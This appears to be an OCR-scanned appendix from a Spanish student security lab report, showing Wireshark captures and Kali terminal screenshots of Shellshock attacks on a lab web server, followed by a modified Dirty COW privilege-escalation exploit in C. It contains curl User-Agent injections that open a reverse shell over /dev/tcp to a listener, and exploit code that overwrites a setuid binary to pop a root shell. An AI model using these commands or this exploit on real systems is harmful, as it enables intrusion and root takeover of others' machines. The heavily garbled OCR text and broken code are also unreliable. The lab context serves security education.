7. AR4ATINRR 192, -18A.5 & J1ea. 80 — 3R76A [ACK] Sen=74A Ack=179 Wi BA 1 en=fA TSval=214G965 TSecr=149669727Q
L U e [ P L D CR S ) S T S
Ethernet II, Src: PcsCompu_b9:ea:73 (08: 73), Dst: PcsCompu_ee:e6:b6 (68:00:27:ee:e6:b6)
Internet Protocol Version 4, Src: 192.168. ino 5 “Dat: 192.166.100.4
Transmission Control Pmtucnl, Src Port: 80, Dst Port: 35760, Seq: 1, Ack: 178, Len: 738
Hypertext Transfer Protocol
~ HTTP/1.1 588 Internal Server Error\rin
+ [Expert Info (Chat/Sequence): HTTP/1.1 500 Internal Server Error\rin]

Response Version: HTTP/1.1

Status Code: 500

[Status Code Description: Internal Server Error]

Response Phrase: Internal Server Error
Date: Sat, B2 May 2020 17:56:18 GMT\r\n
Server: Apache/2.2.21 (Unix) DAV/Z\rin
+ Content-Length: 542\r\n

B840 b6 2b 48 54 54 50 2f 31 2e 31 20 EIEINEN 20 49 +HTTP/1 1 [ T -
Be 74 65 72 Be 61 6c 20 53 65 72 76 65 72 20 45 nternal Server E -

Imagen C.1. Inyeccion en User-Agent que provoca el error 500 Internal Server Error.
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E KaliLinux [Corriendo] - Oracle VM VirtualBox

Archive Méquina Ver Entrada Dispositivos Ayuda
Applications Places £ i May2 13:58

# curl -A '() { :;}; echo; echo Hola soy ferpasri de la UOC, este servidor permite la inyeccion de comandos bash' http://192.168.100.5/cgi-bin/vuln
Hola soy ferpasri de la UOC, este servidor permite la inyeccion de comandos bash
Content-type: text/html

free shared buffers cached
1008 955 36 L] 36
-/+ buffers/cache: 992
Swap: 235 235¢/pre>

#11

Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

y a display

Pmlocol Lengtt Info
74 80 - 35764 [SYN, ACK] Seq=0 Ac X RS SURS TS LI, |
160 66 35764 - 80 [ACK] Seq=1 Ack=1 Ui 56 Len=@ T: 496788271 TSec

Time
2 0.000390052
0.000405028
4 0.680473341
0.000761843
0.802246159
0.002251808
0.002787686
0.0802792009
0.062868077
0.002871241
0.003191213
0.0083196410
8.003369092
0.003373407 2 s
0.0804456572 - 100
0.004455855 s 160
0.005356391 & .100.
0.805366940  192. -108.

= B 66 80 - 35764 [ACK] 0080 Len=0 TSval=2175765 TSecr=1496788271

.108. 299 808 —~ 35764 [PSH, q=1 Ack=184 Win=30086 Len=233 TSval=2175765 TSecr 1496753271 [TCP segment of a r|
.160 [ACK] SE}q—le Ack=234 Win=64128 Len=0 TSval=1496788273 TSecr:

.108 [PSH, ACK] Seq=234 Ack=184 Win=30080 Len=30 TSval=2175765 TSecr 1496738273 [TCP segment of a
.100. [ACK] Seg=184 Ack=264 Win=64128 Len=0 TSval=1496788274 TSecr=2175765

.160. [PSH, ACK] Seq=264 Ack=184 Win=3008@ Len=6 TSval=2175765 TSE(:F 1496788273 [TCP segment of a r|
.160 [ACK] Seq=184 Ack=270 Win=64128 Len=0 TSval=1496788274 TSecr:

.1e0. [PSH, ACK] Seq=270 Ack=184 Win-3008@ Len=32 TSval=2175766 TSec =1496788274 [TCP segment of a
.160. 66 35764 —~ 80 [ACK] Seq=184 Ack=382 Win=64128 Len=0 TSval=1496788274 TSecr=2175766

.100 94 80 —~ 35764 [PSH, ACK] Seq=302 Ack=184 Win=30080 Len=28 TSval=2175766 TSec 1496738274 [TCP segment of a
.100. 66 35764 — 80 [ACK] Seq=184 Ack=330 Win=64128 Len=0 TSval=1496788274 TSecr=2175

.100. 135 88 - 35764 [PSH, ACK] Seq=338 Ack=184 Win=30080 Len=69 TSval=2175766 TSec 1496738274 [TCP segment of a
.160 66 35764 — 80 [ACK] Seq=184 Ack=399 Win=64128 Len=0 TSval=1496788275 TSecr=2175766

.1e0. 335 HTTP/1.1 200 OK (text/plain)

.108. TCcP 66 35764 ~ 80 [ACK] Seq=184 Ack=668 Win=64128 Len=0 TSval=1496788276 TSecr=2175766

FNFEISE NS BT PN - PN

[Expert Info (Chat/Sequence): GET /cgi-bin/vuln.cgl HTTP/L.1\r\n]
Request Method: GET
Request URI: /cgi-bin/wuln.cgi
Request Versunn HTTP/1.1
00.5\r\

g echo; echo Hola soy ferpasri de la UOC, este servidor permite la inyeccilon de comandos bash\rin
Accept: */*Ar\n
Ar\n
9076 31 30 36 2e 35 0d Oa EENENERFNTRFNTENT  100.5 - IR
@ 7 HTTP User-Agent header (http.user agent), 115 bytes Packets: 22 - Displayed: 22 {100.0%)  Dropped: 0 (0.0%) Profile: Default

Imagen C.2. Inyeccidn en User-Agent aceptada sin errores por el servidor web.

i KaliLinux [Corriendo] - Oracle VM VirtualBox ] X
Archivo Maquina Ver Entrada Dispositivos Ayuda
itions. Places i May2 14:03

1o curl -A *() { :;}; /bin/bash ~c /bin/bash -i >& /dev/tcp/192.168.100.6/8888 0>61° http://152.168.100.5/cgi-bi .cgi :-# nc -lvp 8888
DOCTYPE HTML PUBLTC "-//IETF//DTD HTML 2.0//EN"> listening on [any] 8888
<htnl><heads 192.168.100.5: inverse host lookup failed: Unknown host
ctitle>500 Internal Server Error</title> connect to [192.168.100.4] from (UNKNOWN) [192.168.100.5] 47370
</head><bod) 1s
Internal Server Error</hl> vuln.cgi
<p>The server encountered an internal error or pwd

misconfiguration and was unable to complete Jvar/wea/cgi-bin
your request.</p: id
lease contact the server administrator, uid=1000(hca) gid=50(staff) groups=5e(staff)
louisdpentesterlab.con and inform them of the time the error occurred, ‘c
and anything you might have done that may have =[]
caused the error.</p>
<p>ore infornation about this error may be available
in the server error log.</p:

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Admsi@mARE | «5 sEEaaqaqiE

=)+
Destination Protocol [Lengdinto
1o 66 8008~ 4737 TSVa1=1407050842 TSaer=2057235
[Py AGR] ‘Seqt Ackctd 211497061627 TSecr-2257236 —
2257582 TSecr=1497061627
61928 TSecr=2257592
760 Len=3 TSval=1497063416 TSec
5 TSval=3258398 1Secr=1407063416
.16 = 93
192/168.160 5 c 3 FIN Se. Secr=2259203 -
a 1 197.168.166.4
30 9.251372324 168.100.4 192.168.166.5
Response Version: HITP/1.3
Status Code: 500
[Status Cade Description: Tnternal Server Error]
Phrase: Internal Se
. 02 Vay 2010 19:62:23 G
2,221 (Unix) V2P
v sa2\
06 00 27 ee e b6 6B 00 27 b9 ca 73 OB GO A5 00 s
@ 7 wireshark ethd_20200502140222_pavXEm.pcapng Packets: 30 - Displayed: 30 (100.0%) - Dropped: 0 (0.0%) Profile: Default

Imagen C.3. Inyeccion en User-Agent que abre una shell remota pero provoca el error web 500.
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KaliLinux [Corriendo] - Oracle VM VirtualBox = X

Archivo Maquina Ver Entrada Dispositivos Ayuda
Applications  Places wireshark May2 14:04

:~# curl -A '() { :;}; echo; /bin/bash -c /bin/bash -i /dev/tcp/192.168.100.4/8888 0>61" http://192.168.100.5/cgi-bin/vuln.cgi -8 nc -lvp 8888
# Uistening on [any] 8888 ...
192.168.100.5: inverse host Tookup failed: Unknown host
onnect to [192.168.100.4] from (UNKNOWN) [192.168.100.5] 47372
pwd
/var /s
id

uid=1000(hca) gid=50(staff) groups=s5e(staff)
AE

=[]

le Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

emEREG ResEF 2L Eaaat

Destination Protocol Lengtt Info
192 mn.ua 4 192.160.200.% e 74 36772 - 90 (ST Seq-0 Wi HSS-L450 SACK PERK-L Toval- 1407175353 Teco
1 168, 4180 - 95772 [51N, ACK] Seq-0 Aokt Win-28960 Len-0 HSS-1460 SAGK PN Tound FR5008 TSae 4371735 5178
1551683002 55 85772 - 80 [ACK] Seq=t Ack-1 Win-54256 Lan-0 Tsval- Tt Tose Tocr- 229168
9 9i-bin/vuln.cgl HITP/LL
192.168.100.5 P 35772 [ACK) Sea-1 hck-160 Win-30030 Len-d TSval-2291050 TSeor-2437175354
e s . 5 = 3]

s nomng =29312 Len=a 15val=22 191115355
very BxaTia PTR 5:100.106.193. in:addr -arpa
613068767 19; DS Stancary adery redponse ExsTie o sich fane BTR 5.160.103.192.1n-addr.arpa S0A prisoner 1ana.org
956793237 5,100, 0 BEBE - 47372 [PSH, ACK] Seq=1 65280 o4, TSVAL=1487178310 Tsecr=z20
957211624 9 ACK] Seq=1 A —a Nan20317 Lanca TSvalozy TSecr
957458077 7372 L AckeS Win=20312 Lo :7 TSual=z202riT TSecr
2.057465378  162.16 anim [ACK] Seq=5 Ack=18 Win=65280 Lei 2
17375 [PS) ADH) Seqss Ack-1B Winc6524a Lones Tovalsiaarizoess Iseer=2202777
9888 [PSH, ACK] Soq-18 Ack-8 Win-20312 Lon-45 1Sval-2203 524
152.160.300 TC 66— 47372 [ACK] Seqs ACKSG3 WIN-GE200. Lano Tova1=4407L7o625 Toncr-020917s
Realtekl_12 P 2 Who has 192.168,169.17 Tell 192.168.109.4
PcsConpl_ee et 102.168.166.1 15 at 52:54:00
E 5 Tep lﬂﬂ

3 3 5 T
235853030871 192,168,100 19711681360 4 263 ATIP/A.1 200 OK

24 5853866733 192.168.160.4 . R P 66 35772 - 86 [ACK] Seq=160 Ack:
25 5lg54359301  152.166.108.6 i 0 9772 - 60 [N, ACK] Seqeind Acke1as Wineodizo Len=o Tsval=1497161200 T
o 5855108706  192.106.100.5 o o 66 80 — 35772 [FIN, ACK] eq 61 Win=30080 Ler

215855129164 192.166.100.4 197.168.300.5 50 55772 - B0 [ACK] Seqios ACK-130 WinZoA17D Lanco TSea1LiIor 161200 TSecs ora904s

@ 7 wireshark ethd 2020050214042 w3Za3

.pcapna Packets: 27 - Disalaved: 27 (100.0%) Profile: Default

Imagen C.4. Inyeccion en User-Agent que abre una shell sin errores en el servidor web.
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ANEXO D: Exploit utilizado para Dirty COW

Contenido modificado del archivo cowroot. c disponible en el repositorio GitHub:

/*
* Original file: https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>

void *map;

int f;

int stop = 0;

struct stat st;

char *name;

pthread_t pth1,pth2,pth3;

/I Este archivo debe ser cambiado si por defecto no tenemos permisos de lectura
char suid_binary[] = ;

/I Esta es la shellcode original ofrecida para sistemas Linux de 32 bits
/I msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
unsigned char sc[] = {

h

unsigned int sc_len = ;

void *madviseThread(void *arg)

{

char *str;
str = (char*) arg;
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inti,c=0;
for(i=0;i< && Istop; i++) {
¢ += madvise(map, 100,MADV_DONTNEED);
}
printf("thread stopped\n");

}

void *procselfmemThread(void *arg)

{

char *str;

str = (char*)arg;

int f = open("/proc/self/mem", O_RDWR);

inti,c=0;

for(i=0;i< && Istop; i++) {
Iseek(f, map, SEEK_SET);
¢ += write(f, str, sc_len);

}

printf("thread stopped\n");

}

void *waitForWrite(void *arg) {
char buffsc_len];

for(;;) {
FILE *fp = fopen(suid_binary, "rb");

fread(buf, sc_len, 1, fp);

if (memcmp(buf, sc, sc_len) == 0) {
printf("%s overwritten\n", suid_binary);
break;

}

fclose(fp);
sleep(1);

}
stop = 1;

printf("Popping root shell.\n");
printf("Don't forget to restore /tmp/bak\n");

system(suid_binary);

}

int main(int argc, char *argv(]) {
char *backup;

printf("DirtyCow root privilege escalation\n");
printf("Backing up %s to /tmp/bak\n", suid_binary);
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asprintf(&backup, "cp %s /tmp/bak"”, suid_binary);
system(backup);

f = open(suid_binary, O_RDONLY);
fstat(f, &st);

printf("Size of binary: %d\n", st.st_size);

char payload|[st.st_size];

memset(payload, , st.st_size);

memcpy(payload, sc, sc_len+1);

map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
printf("Racing, this may take a while..\n");

pthread_create(&pth1, NULL, &madviseThread, suid_binary);
pthread_create(&pth2, NULL, &procselfmemThread, payload);
pthread_create(&pth3, NULL, &waitForWrite, NULL);
pthread_join(pth3, NULL);

return O;
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